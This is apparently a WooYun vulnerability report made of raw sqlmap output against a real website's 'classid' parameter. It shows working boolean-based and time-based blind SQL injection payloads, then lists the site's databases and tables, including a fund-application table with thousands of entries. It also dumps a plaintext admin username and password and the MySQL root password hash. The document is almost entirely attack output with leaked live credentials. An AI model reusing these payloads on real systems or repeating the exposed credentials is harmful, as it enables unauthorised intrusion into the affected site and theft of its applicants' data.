WooYun.org

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: classid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: classid=7 AND 5915=5915
    Vector: AND [INFERENCE]
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: classid=7 AND SLEEP(5)
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
[09:42:34] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.4.14
back-end DBMS: MySQL 5.0.11

available databases [6]:
[*] biostimeqma
[*] information_schema
[*] jijinhui
[*] mysql
[*] sujia
[*] test

Database: jijinhui
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| w_apply        | 6825    |-----基金申请
| w_region       | 3027    |
| w_question     | 738     |
| w_document     | 454     |
| w_news         | 158     |
| w_country      | 34      |
| w_menu         | 27      |
| w_product      | 18      |
| w_webbanner    | 10      |
| w_webcontent   | 8       |
| w_newsclass    | 6       |
| w_productclass | 6       |
| w_type         | 5       |
| w_class        | 3       |
| w_newstype     | 3       |
| w_media        | 2       |
| w_message      | 2       |
| w_area         | 1       |
| w_smtpconfig   | 1       |
| w_user         | 1       |
+----------------+---------+

Database: jijinhui
Table: w_user
[1 entry]
+------+------+--------+------------+-----------+------------+----------------+
| c_id | u_id | u_name | u_date     | u_content | u_username | u_password     |
+------+------+--------+------------+-----------+------------+----------------+
| 1    | 1    | admin  | 2010-04-01 | 1         | admin      | babycarefund07 |

database management system users password hashes:
[*] root [1]:
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B